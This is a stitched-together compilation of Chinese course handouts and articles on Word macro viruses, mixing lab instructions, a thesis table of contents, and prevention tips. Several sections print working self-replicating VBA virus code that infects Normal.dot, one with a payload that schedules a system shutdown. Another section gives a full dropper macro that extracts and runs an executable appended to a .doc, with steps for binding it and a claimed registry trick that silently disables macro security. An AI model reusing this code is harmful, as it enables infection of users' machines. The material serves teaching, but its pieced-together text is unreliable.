word宏恶意代码实验
macro_virus

Word宏病毒实验1.实验目的Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
2.实验所需条件和环境硬件设备:局域网,终端PC机。
系统软件:Windows系列操作系统支撑软件:Word 2003软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问实验环境配置如下图所示:受感染终端被感染终端宏病毒传播示意图3.实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
3.1. 例1 自我复制,感染word公用模板和当前文档代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
实验四 恶意代码实验

实验四恶意代码攻防实验【实验目的】通过本实验初步了解远程控制软件的编写方法,了解黑客利用流行的木马软件进行远程监控和攻击的方法,掌握常见工具的基本应用,包括如下几个方面:✓掌握基于Socket的网络编程。
✓了解缓冲区溢出攻击的基本实现方法。
✓了解恶意脚本攻击的基本实现方法。
✓了解网络病毒的基本特性。
实验过程中,学生需要将实验的结果记录下来,并回答相关思考题,填写到实验报告中。
【实验类型】综合型实验【实验内容】以下实验内容可根据实验室的具体情况和课时安排的变化进行适当的调整,实验内容中的思考题以书面形式解答并附在实验报告的后面。
需要注意的是,学生在实验过程中要严格按实验指导书的操作步骤和要求操作,且小组成员应紧密配合,以保证实验过程能够顺利完成。
本次实验的主要项目包括以下几个方面:☑溢出攻击模拟程序的编写、调试;☑跨站恶意脚本的运用;☑网页脚本攻击。
具体的实验内容和步骤如下:【实验环境】实验设备:Windows XP系统,VMWare系统,Windows 2000/XP虚拟机。
一、缓冲区溢出攻击编写简单的溢出攻击程序,编译后分别在实验主机和虚拟机中运行。
1.简单原理示例VC环境下编译以下代码:#include <stdio.h>#include <string.h>char name[]="abcdefghijklmnopqrstuvwxyz";int main() {char buffer[8];strcpy(buffer,name);return 0;}运行编译后的程序,会出现系统下图警告,点击“调试”按钮,根据返回的偏移值可推断出溢出的部位。
2.溢出攻击模拟示例实验需要使用以下工具:●OllyDB●Uedit首先写一个C++程序2.c,源码:#include "iostream.h"int main ( ){char name[8];cout<<"Please type your name: ";cin>>name;cout<<"Hello, ";cout<< name;cout<<"\n";return 0;}赋值一个名为name的字符类型数组(字符串),其内容空间为8个字节,运行程序时首先提示使用者输入你的名字,当输入后将该值吸入给name,然后以“Hello,你的名字\n”的方式输出。
【毕业论文】恶意代码分析实例

【毕业论文】恶意代码分析实例恶意代码实例分析2011 年 5 月1目录1虚拟环境及所用软件介绍 (1)1.1虚拟环境介绍 ..................................................................... (1)1.1.1 Vmware Workstation7.1.4 .................................................................. (1)1.1.2 Gost XP SP3 装机版YN9.9................................................................... .. 11.2 检查软件介绍 ..................................................................... .. (1)1.2.1 ATool1.0.1.0 ................................................................ .. (1)1.2.2 Regmon 7.04 汉化版...................................................................... . (1)1.2.3 FileMon 7.04 汉化版 ..................................................................... .. (2)1.2.4 TCPView3.04.................................................................... .. (2)1.2.5procexp.exe ............................................................ . (2)1.2.6 IceSword 1.22 中文版 ..................................................................... (2)2 木马冰河分析与检测 ......................................................................32.1 木马冰河V2.2介绍 ..................................................................... ....................... 3 2.2 样本分析 ..................................................................... (3)2.2.1 进程监测 ..................................................................... .. (3)2.2.2 文件监测 ..................................................................... .. (3)2.2.3 注册表监测...................................................................... . (4)2.2.4系统通信端口监测 ..................................................................... ................ 5 2.3 样本外部特征总结 ..................................................................... ......................... 5 2.4 木马清除方法 ..................................................................... .. (5)3 xueranwyt.exe木马分析与监测 (7)3.1 木马xueranwyt.exe介绍...................................................................... .............. 7 3.2 样本分析 ..................................................................... (7)3.2.1进程监测 ..................................................................... (7)3.2.2 文件监测 ..................................................................... .. (7)3.2.3 注册表监控...................................................................... . (8)3.2.4 端口监测 ..................................................................... ............................. 8 3.3 样本外部特征总结 ..................................................................... ......................... 8 3.4 解决方案 ..................................................................... (9)4 2.exe木马分析与监测 (10)4.1 木马样本2.exe介绍...................................................................... ................... 10 4.2 样本分析 ..................................................................... . (10)4.2.1 进程监控 ..................................................................... (10)4.2.2 文件监控 ..................................................................... (10)4.2.3 注册表监控...................................................................... .. (11)4.2.4 端口检测 ..................................................................... ........................... 11 4.3 样本外部特征总结 ..................................................................... ....................... 12 4.4 解决方案 ..................................................................... . (12)25 红蜘蛛样本分析与检测 (13)5.1 样本介绍 ..................................................................... ..................................... 13 5.2 样本分析 ..................................................................... . (13)5.2.1 进程检测 ..................................................................... (13)5.2.2 文件检测 ..................................................................... (13)5.2.3 注册表监控...................................................................... .. (14)5.2.4 端口监控 ..................................................................... ........................... 14 5.3 样本外部特征总结 ..................................................................... ....................... 14 5.4 解决方案 ..................................................................... . (15)6 031gangsir.ch.exe样本分析 (16)6.1 样本介绍 ..................................................................... ..................................... 16 6.2 样本分析 ..................................................................... . (16)6.2.1 进程监控 ..................................................................... (16)6.2.2 文件监控 ..................................................................... (16)6.2.3 注册表监控...................................................................... .. (17)6.2.4 端口监控 ..................................................................... ........................... 17 6.3 样本特征总结 ..................................................................... .............................. 17 6.4 解决方案 ..................................................................... . (18)7 .exe样本监测与分析 (19)7.1 样本简介 ..................................................................... ..................................... 19 7.2 样本分析 ..................................................................... . (19)7.2.1 进程监控 ..................................................................... (19)7.2.2 文件监控 ..................................................................... (19)7.2.3 注册表监控...................................................................... .. (20)7.2.4 端口监控 ..................................................................... ........................... 20 7.3 样本外部特征总结 ..................................................................... ....................... 20 7.4 解决方案 ..................................................................... . (21)8 .exe样本监测与分析 (22)8.1 样本信息介绍 ..................................................................... .............................. 22 8.2 样本分析 ..................................................................... . (22)8.2.1进程监控 ..................................................................... . (22)8.2.2 文件监控 ..................................................................... (22)8.2.3 注册表监控...................................................................... .. (22)8.2.4 端口监控 ..................................................................... ........................... 23 8.3 样本外部特征总结 ..................................................................... ....................... 23 8.4解决方案 ..................................................................... .. (24)9 .exe样本分析与监测 (25)9.1 样本简介 ..................................................................... ..................................... 25 9.2 样本分析 ..................................................................... . (25)39.2.1 进程监控 ..................................................................... (25)9.2.2 文件监控 ..................................................................... (25)9.2.3 注册表监控...................................................................... .. (26)9.2.4 端口监控 ..................................................................... ........................... 26 9.3 样本外部特征总结 ..................................................................... ....................... 26 9.4 解决方案 ..................................................................... . (26)10 ................................................................. (27)10.1 样本简介 ..................................................................... ................................... 27 10.2 样本分析 ..................................................................... .. (27)10.2.1 进程监控 ..................................................................... . (27)10.2.2 文件监控 ..................................................................... . (27)10.2.3 注册表监控...................................................................... (28)10.2.4 端口监控 ..................................................................... ......................... 28 10.3 样本外部特征总结 ..................................................................... ..................... 28 10.4 解决方案 ..................................................................... .. (29)11 NetThief12.9样本分析与检测 (30)11.1 样本简介 ..................................................................... ................................... 30 11.2 样本分析 ..................................................................... .. (30)11.2.1 进程监控 ..................................................................... . (30)11.2.2 文件监控 ..................................................................... . (30)11.2.3 注册表监控 ..................................................................... . (30)11.2.4 端口监控 ..................................................................... ......................... 31 11.3 样本外部特征总结 ..................................................................... ..................... 31 11.4 解决方案 ..................................................................... .. (31)41虚拟环境及所用软件介绍1.1虚拟环境介绍1.1.1 Vmware Workstation 7.1.4恶意代码具有很强的破坏性和传播性,为了系统的安全,所以实例的分析均在虚拟机下进行。
宏病毒原理及案例分析

宏病毒原理及案例分析屈立成4114005088什么是宏?所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。
Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。
Word使用宏语言Word_Basic将宏作为一系列指令来编写。
Word宏病毒是一些制作病毒的专业人员利用Microsoft Word的开放性即word中提供的Word BASIC编程接口,专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过.DOC文档及.DOT 模板进行自我复制及传播。
宏可使任务自动化,如果在Word中重复进行某项工作,可用宏使其自动执行。
宏是将一系列的Word命令和指令结合在一起,形成一个命令,以实现任务执行的自动化。
用户可创建并执行一个宏,以替代人工进行一系列费时而重复的Word操作。
事实上,它是一个自定义命令,用来完成所需任务。
宏的一些典型应用如:加速日常编辑和格式设置、组合多个命令、使对话框中的选项更易于访问、使一系列复杂的任务自动执行等。
Word 提供了两种创建宏的方法:宏录制器和Visual Basic 编辑器。
宏录制器可帮助用户开始创建宏。
Word 在VBA 编程语言中把宏录制为一系列的Word 命令。
可在Visual Basic 编辑器中打开已录制的宏,修改其中的指令。
也可用Visual Basic 编辑器创建包括Visual Basic 指令的非常灵活和强有力的宏,这些指令无法采用录制的方式。
VBAVisual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化任务的编程语言。
主要能用来扩展Windows的应用程式功能,特别是Microsoft Office软件。
也可说是一种应用程式视觉化的Basic 脚本。
让Office Word“宏病毒”见鬼去吧

让Office Word“宏病毒”见鬼去吧现在很多朋友在写作文档时喜欢到网上下载各种模板简化自己的工作。
不过网络模板中有一些“害群之马”可不是为方便大家而产生的,它们携带着宏病毒。
宏病毒寄生在模板或者文档中,当大家运行文档或者模板后就会激活病毒从而危害电脑。
不过也不用过分担心,我们用下面的方法就可以让宏病毒永远远离我们的电脑。
验证:通过保存类型,巧妙鉴别宏病毒如何检查Word是否感染了宏病毒?其实检查的方法很简单。
打开需要检查的文档,单击“文件”菜单栏,选择“另存为”命令,如果对话框中的保存类型固定为“文档模板”,则表示这个文件已经感染了宏病毒,需要用杀毒软件进行清理了。
小提示:当然,你直接用杀毒软件来扫描一下这个文档也未尝不可,毕竟现在不装杀毒软件的用户还是少数啊。
拒绝:设置文档为“只读”属性,让病毒吃闭门羹因为宏病毒在Word中寄居的文件就是No rmal.dot,所以预防宏病毒的方法其实也很简单,只要把没有感染宏病毒的Normal.dot文件的属性设置为只读,这样宏病毒就不能寄居到Normal.dot中,就能起到预防宏病毒的效果了。
小提示:虽然把一些内容固定的文件设置为具有只读属性,是防止病毒侵入的方法之一,但这也不是万能的,如果病毒制造者注意到这一点,在侵入前先修改你的文件属性,去掉只读属性,那对他们来说也是小菜一碟。
查杀:彻底查杀,统统赶走宏病毒宏病毒是通过Word中的宏语言(一种类似VB的语言)编写的,易于传播而且危害巨大,常常能将你花了很多时编写的文档瞬间“吃掉”,下面介绍使用手工的方法杀掉宏病毒。
单击“工具”菜单栏,选择“宏”,单击“宏”命令(或者使用组合键“Alt +F8”)调出宏对话框,如果在弹出的对话框中有已经记录的宏的话,那就极有可能是宏病毒,删除所有的宏就可以了。
比较复杂的宏病毒会将宏对话框屏蔽掉,这时就需要采用其他方法了。
Word环境中的宏病毒一般是存放在Microsoft Office目录下Templates子目录中的Normal.dot文件中,这时需要重新启动计算机,找到这个文件,并把它删除,再运行Word就可以了。
宏病毒制作参考

-- Word宏病毒制作,传播,防范EXE变DOC的方法其实这种转换并不是文件格式上的变化,只不过是把一个exe文件接在一个doc文件的末尾而已,这个doc文件当然就不是不同word的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的exe文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!)熟悉vb的朋友都知道,word的宏是使用vba来编写的,具体语法和vb一样,但有些方法vb中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和vb一样,我们可以在编写宏的时候调用windows api!!下面我们来介绍一下我们编写这个宏需要用到的api函数:1)createfile 用于打开文件,该函数vb的声明如下:declare function createfile lib "kernel32" alias "createfilea" (byval lpfilename as string,byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributesas long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:declare function closehandle lib "kernel32" (byval hobject as long) as long3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:declare function readfile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoreadas long, lpnumberofbytesread as long, byval lpoverlapped as long) as long4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:declare function writefile lib "kernel32" (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowriteas long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long5)setfileponiter移动文件指针,该函数vb的声明如下:declare function setfilepointer lib "kernel32" (byval hfile as long, byval ldistancetomove as long, byvallpdistancetomovehigh as long, byval dwmovemethod as long) as long6)下面是以上函数的参数声明public const generic_read as long = &h80000000public const generic_write as long = &h40000000public const file_share_read as long = 1public const file_share_write as long = 2public const create_new as long = 1public const create_always as long = 2public const open_existing as long = 3public const open_always as long = 4public const truncate_existing as long = 5public const invalid_handle_value as long = -1public const file_attribute_normal as long = &h80好了,有了这些准备工作就可以开始了,我们运行word2000,打开visual basic编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“thisdocument.的代码视图,选择document.nbspopen的事件,输入一下代码:private sub document.open()dim buffer(65536) as bytedim h, h2, j, i, k as longh = createfile(thisdocument.path & "/" & thisdocument.name, generic_read, file_share_read + file_share_write, 0, open_existing, 0, 0)‘以share_read的方式打开自身的doc文件h2 = createfile("c:\\autoexec.exe", generic_write, 0, 0, create_always, 0, 0)‘新建一个exe文件准备存放读取出来的数据.if h = invalid_handle_value thenexit subend ifk = setfilepointer(h, 32768, nil, 0)‘把文件指针移动到doc文件与exe文件交界处.doi = readfile(h, buffer(0), 65536, j, 0)i = writefile(h2, buffer(0), j, j, 0)loop until j < 65536closehandle (h)closehandle (h2)shell "c:\\autoexec.exe"‘运行exe文件end sub这样宏就编写好了,注意的地方就是上面setfilepointer函数的使用部分:32768是你编写完宏保存好的doc文件的文件大小,不一顶就是32768哦,大家注意!大家可能有疑问,如何把exe文件接到doc文件后面呢?很简单,把你要接的exe放到和这个doc文件同一个目录下.运行doc命令:copy /b xxxx.doc + xxxxx.exe newdoc.doc这样就可以了~~~.当你打开这个newdoc.doc的时候,宏就会把后面的exe文件读出来并保存在c:\\autoexec.exe中,然后运行,是不是很恐怖啊!不过这需要你的word2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小bug,大家看看注册表中这个键: hkey_current_user\\software\\microsoft\\office\\9.0\\word\\security 中的level值.当安全度是3(高)的时候,word不会运行任何的宏,2(中)的时候word会询问你是否运行宏,1(低)的时候word就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,word里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是ms的后门吧?如果要受害人的机器接受你的doc文件又能顺利运行,最重要就是把word的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是ie的恶意代码能实现的都太多了,另外,如果网页上连接上是doc的话,ie也会自动下载该doc文件!危险的ms啊!!这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用word?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非exe文件,我们现在发现了doc文件能隐藏exe文件,也会有人发现其他文件能隐藏exe,所以大家千万要小心。
Word宏病毒实验

Word宏病毒实验应用场景计算机病毒是一个程序,一段可执行码,对计算机的正常使用进行破坏,使得电脑无法正常使用甚至整个操作系统或者电脑硬盘损坏。
就像生物病毒一样,计算机病毒有独特的复制能力。
计算机病毒可以很快地蔓延,又常常难以根除。
它们能把自身附着在各种类型的文件上。
当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
这种程序不是独立存在的,它隐蔽在其他可执行的程序之中,既有破坏性,又有传染性和潜伏性。
轻则影响机器运行速度,使机器不能正常运行;重则使机器处于瘫痪,会给用户带来不可估量的损失。
通常就把这种具有破坏作用的程序称为计算机病毒。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。
当你看到病毒载体似乎仅仅表现在文字和图像上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。
若是病毒并不寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
病毒往往会利用计算机操作系统的弱点进行传播,提高系统的安全性是防病毒的一个重要方面,但完美的系统是不存在的,过于强调提高系统的安全性将使系统多数时间用于病毒检查,系统失去了可用性、实用性和易用性,另一方面,信息保密的要求让人们在泄密和抓住病毒之间无法选择。
病毒与反病毒将作为一种技术对抗长期存在,两种技术都将随计算机技术的发展而得到长期的发展。
宏病毒是使用宏语言(VBA)编写的恶意程序,存在于字处理文档、电子数据表格、数据库等数据文件中,例如office 数据处理系统中运行,利用宏语言的功能将自己复制、繁殖到其他数据文档中。
宏分成两种:一种是在某个文档中包含的内嵌宏,如fileopen 宏;另一种是属于word 应用程序,所有打开文档公用的宏,如autoopen 宏。
Word 宏病毒一般都首先隐藏在一个指定的word 文档中,一旦打开了这个word 文档,宏病毒就被执行,宏病毒要做的第一件事情就是将自己copy 到全局宏的荡然区域,使得所有打开的文档都可以使用这个宏。
云计算技术与应用专业《防病毒-案例-word宏病毒》

Word宏病毒实验【实验环境】Windows实验台所需工具:Word2021、Outloo2021【实验内容】动手实现Word宏病毒的代码编写,熟悉Word宏病毒的作用机制,然后对其进行查杀,掌握去除Word宏病毒的方法。
实验内容包括:(1)编写自己的宏病毒此处以例如1的代码为例;(2)对doc1进行病毒殖入;(3)观察实验效果;(4)进行病毒去除。
Word宏病毒实验【实验原理】宏病毒是使用宏语言VBA编写的恶意程序,存在于字处理文档、电子数据表格、数据库等数据文件中,例如office数据处理系统中运行,利用宏语言的功能将自己复制、繁殖到其它数据文档中。
宏分成两种:一种是在某个文档中包含的内嵌宏,如fileoents and Settings\Adiministrator\Aail附件进行传播,如梅丽莎病毒。
Word宏病毒实验【实验步骤】启动Windows实验台,进入Windows2021系统;双击桌面上的“病毒实验〞图标,进入病毒实验界面。
在界面上选择“Word宏病毒实验〞,进入其实施面板,如下图。
图实验进行前,要先点击“初始化病毒工具〞按钮,对其实验所需的工具进行初始化;在实验过程中,如果所需的工具被杀毒软件查杀,要再次点击“初始化病毒工具〞按钮,对工具重新进行初始化,以便实验顺利进行。
一、使用例如1代码选择“例如1源码〞,在右侧病毒介绍框内查看例如1 的源码,如下图。
二、图对doc1进行病毒殖入(1)点击“启动doc1〞,翻开Word文档,在菜单下选择“工具|宏|平安性〞,设置Word平安性,如下图。
(2)图按下AltF11或者选择“工具|宏|Visual Basic 编辑器〞,如下图;翻开如下图的ent,将例如1的源代码复制到此。
(3)图图查看“Normal|ThisDocument〞,如下图Normal下的ThisDocument为空。
(4)图关闭doc1文档。
然后再点击面板中的“启动doc1〞,在doc1翻开的过程中,会出现如下图的提示框,例如代码1执行成功。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
计算机宏病毒分析
一、实验目的
⏹了解“宏病毒”机理;
⏹掌握清除宏病毒的方法;
⏹掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境
⏹Windows 7 64位旗舰版
⏹Office Word2010字处理软件。
三、实验要求
⏹宏的编写;
⏹理解宏病毒的作用机制。
四、实验步骤:
1.软件设置
关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。
注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
2.自我复制功能演示
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
完整代码如下:
'Macro-1:Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "恭喜你你中毒了"
Shell ("C:\Windows\System32\cmd.exe")
Shell ("C:\Windows\System32\shutdown.exe -s -t 60")
End Sub
以上代码的基本执行流程如下:
1) 进行必要的自我保护:
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失
效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2) 得到当前文档的代码对象和公用模板的代码对象:
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
3) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名:
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
4) 执行恶意代码
MsgBox "恭喜你你中毒了"
Shell ("C:\Windows\System32\cmd.exe")
Shell ("C:\Windows\System32\shutdown.exe -s -t 60")。